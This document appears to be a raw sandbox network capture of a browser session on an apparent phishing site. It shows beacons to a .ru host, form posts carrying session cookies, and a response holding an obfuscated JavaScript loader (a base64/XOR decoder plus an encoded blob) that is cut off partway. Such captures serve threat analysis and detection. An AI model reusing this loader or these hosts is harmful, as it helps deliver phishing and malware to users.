2025-03-25 19:31:20 UTC	570	OUT	GET /kella$okngolxj HTTP/1.1 Host: dt6mo.kdyukk.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://ergc.onirique5.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ergc.onirique5.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 19:31:21 UTC	826	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 19:31:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eo8l6rJdXCR0%2BXIjZgKcfQ9ee3z5BXqysZHnc3oVfRIIlITboePdWViMO5E6AYY68g%2BjfuLzLMcOJkP000T7xKvf0%2Bt0fyxPeBcsjkVlTVG4t59hTrUfydA5glbhHmuhM%2BE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9260d3f4583b41f8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=107931&min_rtt=106615&rtt_var=24470&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2817&recv_bytes=1142&delivery_rate=33683&cwnd=228&unsent_bytes=0&cid=c9db418e2684d5c0&ts=866&x=0"
2025-03-25 19:31:21 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-25 19:31:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-25 19:31:21 UTC	1439	OUT	POST /kmNcvetzL0K8NZyarX63n7r9a HTTP/1.1 Host: ergc.onirique5.com Connection: keep-alive Content-Length: 1712 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygjJpn9Mke8zrcw3J sec-ch-ua-mobile: ?0 Accept: / Origin: https://ergc.onirique5.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ergc.onirique5.com/xRmONkR9H3tSwgZ6bakdPQM/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjRMMW9QU0h0NjFGSWdZaWdHdks2ZUE9PSIsInZhbHVlIjoiOUY1Q1VHU3NFRFFaYWNqOHhFQVptMDRlV1cvckRweVFOK1AwNVJwd3NKN1duT05NM2VYM2Z0WVA1UzZPQUNYeEFud0NTSlMvaTE4bEQyNEVRRG0rYTZ5Q0RpK3ZyVmVWRDFxclNMYStpOGFWNUFCM21JdDhhdGFKZ2h2MkdDK0EiLCJtYWMiOiJmZTcyNDIyNTE0ODM3OWRlNDI4NjM3ZTZjNTllODFkYTA5YTExMjQ1NDQyMTcwMDVhZWVlNmFmZmIxM2UwOTNkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InhsTWxHY2FHYU5PaEpaRWY0RW5xTlE9PSIsInZhbHVlIjoibERucUY5SDlhOG9lZGhKa2J0UXIzUGdIUGF0dnlGTTQrOVhRdWxRYVFWTGZ2ZFpMM1FCNi9FZWVYRjhBdnZESHA2ZmoxUUJMRVMwZnVWNlcrcjRXT2dlZ0ZwRlRqZmwyNGtXOW5DT1BOUm1ZNzhwcXFNRXRYTXJXWVVLMkpadloiLCJtYWMiOiJjZWJhYjE2OTNkNjJiMzdiZGM3YzZkYWQwODIxYmZhZDA3NGZhY2UxYzRjM2JhZWY2MjRmNTgyMzZkN2I2Yzk1IiwidGFnIjoiIn0%3D
2025-03-25 19:31:21 UTC	1712	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 67 6a 4a 70 6e 39 4d 6b 65 38 7a 72 63 77 33 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 6c 74 70 67 22 0d 0a 0d 0a 6d 33 4a 58 6d 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 67 6a 4a 70 6e 39 4d 6b 65 38 7a 72 63 77 33 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 69 64 22 0d 0a 0d 0a 4d 4c 42 47 37 31 4b 6d 75 38 46 59 64 56 31 58 49 6a 4f 42 4d 6a 6a 39 70 31 6e 35 71 55 75 64 6e 33 6b 4d 42 39 54 61 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 67 6a 4a 70 Data Ascii: ------WebKitFormBoundarygjJpn9Mke8zrcw3JContent-Disposition: form-data; name="bltpg"m3JXm------WebKitFormBoundarygjJpn9Mke8zrcw3JContent-Disposition: form-data; name="sid"MLBG71Kmu8FYdV1XIjOBMjj9p1n5qUudn3kMB9Ta------WebKitFormBoundarygjJp
2025-03-25 19:31:21 UTC	1174	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 19:31:21 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d2hNzmSbTG%2F1R3bdF1D8WSZHFqCLKwJTFh3ti2%2FDGcItgnl%2ByuejhAxEHdbxTsnuwNQ2LNmhTNz8JKwHDW3Y%2FiHgmTKVaddmje1sJbGa8lv6mOYlyUBTvgh3Hm7a"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=2008&min_rtt=2006&rtt_var=757&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2825&recv_bytes=4059&delivery_rate=1428712&cwnd=251&unsent_bytes=0&cid=dd7ac65140937c38&ts=99&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6InY0cUE0andORmRabjJZZ3g1RlpGZEE9PSIsInZhbHVlIjoidWdFVitKcnZRd3lPUU9SZHhBM282ZWtxbE5zaVZpYmxpaHluU3hTWlRXOGtURFhwNnRFSkhvN0JnUk5lQkk1eUx4c0dSOXVsZ1ZDeDZOMWFIcDBaTS9aV0RqYWRFRnd5ZUdyQW8rOXFXWjVPSXA3QllEU0hXNEZLV1NNYWlqRkMiLCJtYWMiOiI3MzQ2NmQyZGM0MmM3NjA5NDA1MmQyYzQ4ZDIxZTc1MTY5MWE1M2QzYzNjMDQ1ODk1Y2Q1MjhlMmMzMGY0OTkwIiwidGFnIjoiIn0%3D; expires=Tue, 25-Mar-2025 21:31:21 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-25 19:31:21 UTC	790	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 39 77 4d 53 74 5a 65 46 42 79 65 55 74 6b 5a 7a 46 79 57 47 56 55 4e 6a 67 34 4e 56 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 63 30 70 4e 5a 48 52 33 54 6c 67 31 61 48 56 35 53 30 5a 43 54 32 35 52 5a 7a 4a 76 55 48 56 4c 52 6c 70 30 53 57 56 31 62 44 4a 4c 4e 56 6c 51 61 6b 51 35 4e 30 78 45 4d 44 59 79 56 46 46 54 56 57 56 6a 56 31 52 57 64 6a 52 72 57 47 64 59 4e 47 4a 61 54 43 74 42 56 7a 42 4f 52 6a 52 53 64 46 46 42 61 6e 59 31 57 48 46 68 54 69 38 30 52 45 6c 71 54 6b 4a 72 55 30 35 49 4e 45 5a 48 52 55 6c 31 57 46 51 34 56 6d 68 73 4d 46 5a 71 64 46 63 35 4f 46 51 30 56 45 74 79 54 79 39 76 63 32 56 76 61 57 52 6d 62 6a 59 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Ik9wMStZeFByeUtkZzFyWGVUNjg4NVE9PSIsInZhbHVlIjoic0pNZHR3Tlg1aHV5S0ZCT25RZzJvUHVLRlp0SWV1bDJLNVlQakQ5N0xEMDYyVFFTVWVjV1RWdjRrWGdYNGJaTCtBVzBORjRSdFFBanY1WHFhTi80RElqTkJrU05INEZHRUl1WFQ4VmhsMFZqdFc5OFQ0VEtyTy9vc2VvaWRmbjY
2025-03-25 19:31:21 UTC	26	IN	Data Raw: 31 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d 0d 0a Data Ascii: 14{"status":"success"}
2025-03-25 19:31:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-25 19:31:21 UTC	393	OUT	GET /kella$okngolxj HTTP/1.1 Host: dt6mo.kdyukk.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 19:31:22 UTC	823	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 19:31:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tel9V6K2WHYOwVZxfXMT3LlEoTlW2tUufOlPUwj0DuKDdGZnwYQRTXU8KDxAaqPHON7bxC%2B8U1n4aP5MqKjwWf6a2eenIzXEX8H22POB3Fzo5xB2dHLe0gpABQJ4T0lK%2B%2Bg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9260d3fd6a61847d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=111296&min_rtt=109055&rtt_var=25365&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2817&recv_bytes=965&delivery_rate=34163&cwnd=241&unsent_bytes=0&cid=236f8bb0bf714c39&ts=846&x=0"
2025-03-25 19:31:22 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-25 19:31:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-25 19:31:22 UTC	1510	OUT	GET /xRmONkR9H3tSwgZ6bakdPQM/ HTTP/1.1 Host: ergc.onirique5.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://ergc.onirique5.com/xRmONkR9H3tSwgZ6bakdPQM/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InY0cUE0andORmRabjJZZ3g1RlpGZEE9PSIsInZhbHVlIjoidWdFVitKcnZRd3lPUU9SZHhBM282ZWtxbE5zaVZpYmxpaHluU3hTWlRXOGtURFhwNnRFSkhvN0JnUk5lQkk1eUx4c0dSOXVsZ1ZDeDZOMWFIcDBaTS9aV0RqYWRFRnd5ZUdyQW8rOXFXWjVPSXA3QllEU0hXNEZLV1NNYWlqRkMiLCJtYWMiOiI3MzQ2NmQyZGM0MmM3NjA5NDA1MmQyYzQ4ZDIxZTc1MTY5MWE1M2QzYzNjMDQ1ODk1Y2Q1MjhlMmMzMGY0OTkwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9wMStZeFByeUtkZzFyWGVUNjg4NVE9PSIsInZhbHVlIjoic0pNZHR3Tlg1aHV5S0ZCT25RZzJvUHVLRlp0SWV1bDJLNVlQakQ5N0xEMDYyVFFTVWVjV1RWdjRrWGdYNGJaTCtBVzBORjRSdFFBanY1WHFhTi80RElqTkJrU05INEZHRUl1WFQ4VmhsMFZqdFc5OFQ0VEtyTy9vc2VvaWRmbjYiLCJtYWMiOiI5ZTA3MmFlZmU0Mjc5ZDM3ZTc4MGFhNWEyZWRiMjRiOTY2YzVkMjU1NmEyODk4N2I4M2I1ODI4YzU2MjgzOWFkIiwidGFnIjoiIn0%3D
2025-03-25 19:31:22 UTC	1206	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 19:31:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=c94lE8I04H08zo%2BQumCKYOIo7I1cxBE%2BGD0AuMHGV20roAXyzu5KQN9BJ9gduZ0%2F3p50gFXekL0Lr9hEddVeRmPup%2FvB2vAYk3pq9TdGe9JBuNDT5RKvLcBSpyn0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=5000&min_rtt=4998&rtt_var=1878&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2393&delivery_rate=577467&cwnd=244&unsent_bytes=0&cid=a76426c758f32262&ts=121&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IkFRTjB2dVJJUW9MY3R5QVd1Vmtla2c9PSIsInZhbHVlIjoiSUVlVEVGcXdzZHNBQ01IQTNGSTJjSituamI5YVh6M0xPWkUrazFyMEdydDRFcTNrQ3RNTE13UFU2M2Y4Y0llanl5UVVtd1piNWdnbUFJVlAyN0drbkFFV0E3UHl5dkU4U3Q1eWpEV3hVekc4Ri80b1ZTUmljeXczZUxGQ2dlU1AiLCJtYWMiOiJiNDZlMmNhZDYzZjBhNWI1ZjVhZTJiZTJkZTljOWU2YjZhZjM4ZGUwNmNkMGYxZjlmZjgzNTA2NDg0NDFiYzU2IiwidGFnIjoiIn0%3D; expires=Tue, 25-Mar-2025 21:31:22 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-25 19:31:22 UTC	766	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 42 43 54 7a 46 73 63 57 31 51 59 6e 64 68 4d 32 59 72 53 6d 31 45 57 44 5a 50 52 30 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 52 48 4a 35 4d 32 38 33 57 6b 64 42 64 6d 4d 72 55 6d 78 42 4e 30 4a 54 64 6d 4d 32 55 45 51 7a 54 31 64 4f 51 6a 6c 5a 65 44 68 49 5a 32 64 32 52 56 64 74 57 47 4a 45 5a 45 4e 68 4e 47 5a 57 4d 56 42 52 52 54 68 4e 65 44 4d 77 4e 6c 52 4a 53 58 5a 72 55 6b 73 79 65 57 4a 48 54 48 70 42 65 46 70 6c 4b 32 64 77 5a 46 4e 6d 63 33 42 4a 54 47 4a 7a 54 58 59 34 57 54 4a 69 63 6e 6c 31 55 30 4a 4e 51 57 74 36 52 6b 4e 68 4d 58 70 45 54 46 6b 72 64 6b 4d 34 53 46 56 79 65 47 74 4e 63 56 64 4b 5a 57 30 76 5a 47 67 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6InBCTzFscW1QYndhM2YrSm1EWDZPR0E9PSIsInZhbHVlIjoiRHJ5M283WkdBdmMrUmxBN0JTdmM2UEQzT1dOQjlZeDhIZ2d2RVdtWGJEZENhNGZWMVBRRThNeDMwNlRJSXZrUksyeWJHTHpBeFplK2dwZFNmc3BJTGJzTXY4WTJicnl1U0JNQWt6RkNhMXpETFkrdkM4SFVyeGtNcVdKZW0vZGg
2025-03-25 19:31:22 UTC	1369	IN	Data Raw: 34 38 62 62 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 6e 63 71 74 52 6e 52 61 66 4a 28 67 56 46 75 4c 49 69 6c 48 71 2c 20 65 79 68 56 48 72 49 70 58 6f 29 20 7b 0d 0a 6c 65 74 20 78 63 4a 76 42 69 65 47 67 73 20 3d 20 27 27 3b 0d 0a 67 56 46 75 4c 49 69 6c 48 71 20 3d 20 61 74 6f 62 28 67 56 46 75 4c 49 69 6c 48 71 29 3b 0d 0a 6c 65 74 20 77 58 52 47 61 4b 70 6c 46 43 20 3d 20 65 79 68 56 48 72 49 70 58 6f 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 67 56 46 75 4c 49 69 6c 48 71 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 78 63 4a 76 42 69 65 47 67 73 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 67 56 46 75 4c 49 69 6c 48 71 2e 63 68 61 72 43 Data Ascii: 48bb<script>function ncqtRnRafJ(gVFuLIilHq, eyhVHrIpXo) {let xcJvBieGgs = '';gVFuLIilHq = atob(gVFuLIilHq);let wXRGaKplFC = eyhVHrIpXo.length;for (let i = 0; i < gVFuLIilHq.length; i++) { xcJvBieGgs += String.fromCharCode(gVFuLIilHq.charC
2025-03-25 19:31:22 UTC	1369	IN	Data Raw: 6a 45 78 49 46 58 43 34 51 48 44 78 56 4b 7a 6b 48 4a 6c 42 37 48 43 51 73 43 69 42 63 4f 51 6c 68 4d 42 41 44 49 78 63 34 4c 51 51 74 56 68 77 36 49 69 77 6a 4a 46 77 35 42 57 70 36 50 52 78 47 46 7a 55 37 48 79 5a 36 43 6a 55 7a 50 79 63 77 44 54 6b 43 63 69 34 39 46 7a 52 54 4f 43 30 2b 63 56 41 6b 41 32 49 2f 4c 43 4d 54 46 42 5a 6d 4f 6a 30 63 4f 41 73 51 50 53 70 78 66 43 41 32 5a 42 55 4b 4a 77 59 38 41 6e 45 37 4c 67 77 61 49 42 4e 59 49 69 31 38 49 44 56 6e 4f 43 63 7a 55 7a 77 41 41 77 49 39 46 7a 63 44 4f 43 6b 78 4a 6e 6f 4b 4e 54 4d 2f 4a 7a 41 4e 46 54 68 78 49 78 41 63 50 42 63 2b 41 7a 4a 78 55 43 63 69 4f 44 6f 6e 4d 78 41 52 42 6c 38 6b 45 42 41 5a 41 78 55 69 4f 6e 42 70 47 67 4d 7a 46 31 59 6e 58 79 46 7a 43 69 49 75 41 42 6b 44 50 78 Data Ascii: jExIFXC4QHDxVKzkHJlB7HCQsCiBcOQlhMBADIxc4LQQtVhw6IiwjJFw5BWp6PRxGFzU7HyZ6CjUzPycwDTkCci49FzRTOC0+cVAkA2I/LCMTFBZmOj0cOAsQPSpxfCA2ZBUKJwY8AnE7LgwaIBNYIi18IDVnOCczUzwAAwI9FzcDOCkxJnoKNTM/JzANFThxIxAcPBc+AzJxUCciODonMxARBl8kEBAZAxUiOnBpGgMzF1YnXyFzCiIuABkDPx
2025-03-25 19:31:22 UTC	1369	IN	Data Raw: 48 44 67 49 50 68 31 41 43 6e 6f 4b 4e 54 4d 2f 4c 45 45 6b 4d 79 38 44 4f 54 73 6a 52 69 38 72 4c 55 6b 72 56 78 35 46 4f 42 51 4b 49 42 38 70 46 6d 45 69 4a 67 77 73 43 42 4d 45 49 67 78 53 45 54 70 6b 4c 44 4e 45 42 68 4d 6f 56 43 63 74 5a 6b 38 52 46 53 30 6d 64 56 63 4f 52 54 67 55 43 69 51 45 50 41 4a 78 4a 42 41 44 51 77 34 56 4c 52 77 33 55 53 41 63 4f 42 49 4a 4a 78 38 55 41 6c 67 75 45 53 4e 47 4c 7a 67 70 4d 53 5a 36 44 69 4a 6d 4c 44 4e 45 57 6a 77 76 63 54 41 75 44 43 77 49 45 77 51 69 42 47 6b 65 4c 6a 77 53 4d 77 6c 61 4f 77 4a 59 66 6a 41 46 47 51 4d 34 4b 54 45 6d 55 43 51 69 5a 42 49 38 4f 78 38 35 42 6d 6b 68 46 68 77 34 43 44 34 64 51 41 70 56 47 68 39 6a 4d 6a 55 42 49 68 51 45 61 52 67 69 5a 52 6f 2b 4b 7a 49 69 4e 6e 6f 4e 52 44 4d Data Ascii: HDgIPh1ACnoKNTM/LEEkMy8DOTsjRi8rLUkrVx5FOBQKIB8pFmEiJgwsCBMEIgxSETpkLDNEBhMoVCctZk8RFS0mdVcORTgUCiQEPAJxJBADQw4VLRw3USAcOBIJJx8UAlguESNGLzgpMSZ6DiJmLDNEWjwvcTAuDCwIEwQiBGkeLjwSMwlaOwJYfjAFGQM4KTEmUCQiZBI8Ox85BmkhFhw4CD4dQApVGh9jMjUBIhQEaRgiZRo+KzIiNnoNRDM
2025-03-25 19:31:22 UTC	1369	IN	Data Raw: 6c 63 4f 45 79 63 2f 49 78 30 66 45 52 6c 68 4f 53 30 44 41 52 41 53 57 44 34 70 55 51 34 68 62 54 73 33 52 52 30 35 4b 77 63 43 50 52 63 33 58 42 55 74 48 48 46 52 44 69 46 2f 49 79 4e 49 45 78 51 47 61 54 38 57 45 78 6f 53 4f 43 6b 70 4a 6d 49 65 45 44 67 55 43 54 39 66 4f 51 49 44 4c 69 41 44 54 77 38 72 4d 6a 6f 30 65 67 77 6d 4f 42 56 57 48 51 51 53 4b 30 51 2f 45 42 4d 61 56 42 4d 74 4a 57 70 77 49 44 55 7a 4a 69 4d 4a 47 68 49 73 51 43 34 56 48 44 77 49 4b 77 42 41 4b 46 49 42 4a 6d 51 56 4c 44 78 63 50 44 67 4b 4a 42 5a 6d 51 31 51 53 45 30 55 76 55 58 74 4e 4f 68 51 6a 4a 77 49 54 42 6c 38 7a 4f 44 6b 34 45 68 4d 35 53 53 74 51 65 6a 6b 74 4a 6c 59 72 41 68 49 57 58 7a 6f 52 41 45 63 71 45 31 68 46 63 56 42 37 49 69 30 56 43 54 64 61 50 79 39 58 Data Ascii: lcOEyc/Ix0fERlhOS0DARASWD4pUQ4hbTs3RR05KwcCPRc3XBUtHHFRDiF/IyNIExQGaT8WExoSOCkpJmIeEDgUCT9fOQIDLiADTw8rMjo0egwmOBVWHQQSK0Q/EBMaVBMtJWpwIDUzJiMJGhIsQC4VHDwIKwBAKFIBJmQVLDxcPDgKJBZmQ1QSE0UvUXtNOhQjJwITBl8zODk4EhM5SStQejktJlYrAhIWXzoRAEcqE1hFcVB7Ii0VCTdaPy9X
2025-03-25 19:31:22 UTC	1369	IN	Data Raw: 41 4e 4b 53 77 4b 66 54 67 4d 4f 41 73 6f 50 53 49 33 56 7a 4d 62 4d 7a 73 6e 4d 46 6f 54 43 56 51 75 4f 6a 6f 30 55 44 67 69 4f 69 39 71 4a 44 45 37 4f 79 63 47 44 54 30 43 52 43 34 35 46 77 45 44 50 43 6c 45 4f 58 67 64 42 78 38 2f 4a 7a 41 4e 4f 51 6b 44 41 6a 63 39 4e 77 4d 34 4b 54 49 75 61 52 34 79 50 79 77 38 4f 41 30 52 42 58 59 75 45 53 4d 5a 41 7a 67 70 4d 53 5a 36 43 6a 59 67 4c 7a 77 37 42 42 45 57 42 33 38 39 45 44 64 54 4d 67 4d 78 4a 6e 6f 4b 4e 54 4d 2f 49 79 73 63 45 69 39 69 50 52 64 6d 47 6c 49 72 50 68 38 6d 66 69 42 41 5a 52 55 4a 4a 78 34 2f 4e 6c 77 75 50 52 63 33 41 7a 67 70 4d 69 78 52 65 30 46 6b 4f 6a 77 56 42 68 45 57 56 79 59 51 45 42 6b 44 50 78 41 78 4e 6e 77 2b 47 7a 4d 2f 4a 7a 41 4e 46 68 42 63 41 6a 30 58 4e 77 4d 34 4c Data Ascii: ANKSwKfTgMOAsoPSI3VzMbMzsnMFoTCVQuOjo0UDgiOi9qJDE7OycGDT0CRC45FwEDPClEOXgdBx8/JzANOQkDAjc9NwM4KTIuaR4yPyw8OA0RBXYuESMZAzgpMSZ6CjYgLzw7BBEWB389EDdTMgMxJnoKNTM/IyscEi9iPRdmGlIrPh8mfiBAZRUJJx4/NlwuPRc3AzgpMixRe0FkOjwVBhEWVyYQEBkDPxAxNnw+GzM/JzANFhBcAj0XNwM4L
2025-03-25 19:31:22 UTC	1369	IN	Data Raw: 2b 42 67 30 72 50 53 6f 33 55 43 51 68 4d 78 4d 54 48 67 30 35 41 6e 49 75 50 52 63 30 44 68 4e 59 52 58 46 70 48 6b 46 6b 4f 51 30 77 42 44 6f 37 51 41 49 39 46 7a 63 44 4f 43 6b 78 4a 6c 41 4f 54 53 34 58 50 43 4d 61 45 6e 4d 48 66 7a 30 54 4d 41 30 53 57 45 6b 79 56 78 45 6d 4f 44 6b 54 48 67 30 35 41 6e 49 75 50 52 63 30 56 42 4e 5a 4d 58 64 36 44 54 56 6a 4e 51 30 77 44 54 6b 43 63 69 34 39 45 77 34 49 4b 77 51 68 64 33 6f 4e 4e 57 4d 31 44 54 41 4e 4f 51 4a 79 4c 6a 30 63 50 42 51 72 57 42 68 78 66 43 41 31 49 7a 6b 54 48 67 30 35 41 6e 49 75 50 52 63 30 44 52 4e 5a 49 6e 46 52 65 30 52 69 50 79 41 77 58 54 4d 6f 63 69 34 39 46 7a 63 44 4f 43 30 36 4b 57 70 37 41 44 6f 56 43 55 68 62 45 69 78 69 66 7a 30 63 50 41 6f 6f 42 7a 55 75 66 67 6f 44 4d 7a Data Ascii: +Bg0rPSo3UCQhMxMTHg05AnIuPRc0DhNYRXFpHkFkOQ0wBDo7QAI9FzcDOCkxJlAOTS4XPCMaEnMHfz0TMA0SWEkyVxEmODkTHg05AnIuPRc0VBNZMXd6DTVjNQ0wDTkCci49Ew4IKwQhd3oNNWM1DTANOQJyLj0cPBQrWBhxfCA1IzkTHg05AnIuPRc0DRNZInFRe0RiPyAwXTMoci49FzcDOC06KWp7ADoVCUhbEixifz0cPAooBzUufgoDMz
2025-03-25 19:31:22 UTC	1369	IN	Data Raw: 63 43 41 31 4d 7a 38 6e 4d 31 4d 7a 4a 6c 77 75 50 52 63 33 41 7a 30 48 4e 69 68 52 65 69 4a 6b 4f 69 63 77 48 78 4e 7a 5a 54 41 51 4f 52 6f 4f 4b 7a 49 39 4d 6e 6f 4b 51 53 4d 55 56 7a 74 61 4b 69 77 4b 4f 68 55 44 54 68 63 34 4b 55 56 78 61 52 45 36 5a 42 63 7a 51 42 77 53 4c 46 38 68 46 68 77 37 46 7a 67 70 52 53 74 52 65 30 46 6b 4c 7a 4d 2f 57 6a 6b 4a 51 41 49 39 46 7a 63 44 4f 43 6b 78 4a 6d 6f 6b 4d 6a 34 58 56 68 55 54 45 6e 4a 6c 50 43 34 58 52 77 34 54 57 41 67 33 55 43 4d 62 4d 78 4a 57 47 52 6f 55 42 6d 5a 2b 4e 7a 30 33 41 7a 67 70 4d 53 5a 36 44 6b 55 38 46 51 6b 56 47 68 49 72 58 43 34 35 50 6a 51 54 46 43 34 44 43 6e 6f 4b 4e 54 4d 2f 4a 7a 41 4e 4b 53 77 4b 4d 43 34 54 49 42 30 39 4d 6a 6f 70 61 51 34 59 5a 52 55 65 48 67 30 39 46 58 45 Data Ascii: cCA1Mz8nM1MzJlwuPRc3Az0HNihReiJkOicwHxNzZTAQORoOKzI9MnoKQSMUVztaKiwKOhUDThc4KUVxaRE6ZBczQBwSLF8hFhw7FzgpRStRe0FkLzM/WjkJQAI9FzcDOCkxJmokMj4XVhUTEnJlPC4XRw4TWAg3UCMbMxJWGRoUBmZ+Nz03AzgpMSZ6DkU8FQkVGhIrXC45PjQTFC4DCnoKNTM/JzANKSwKMC4TIB09MjopaQ4YZRUeHg09FXE
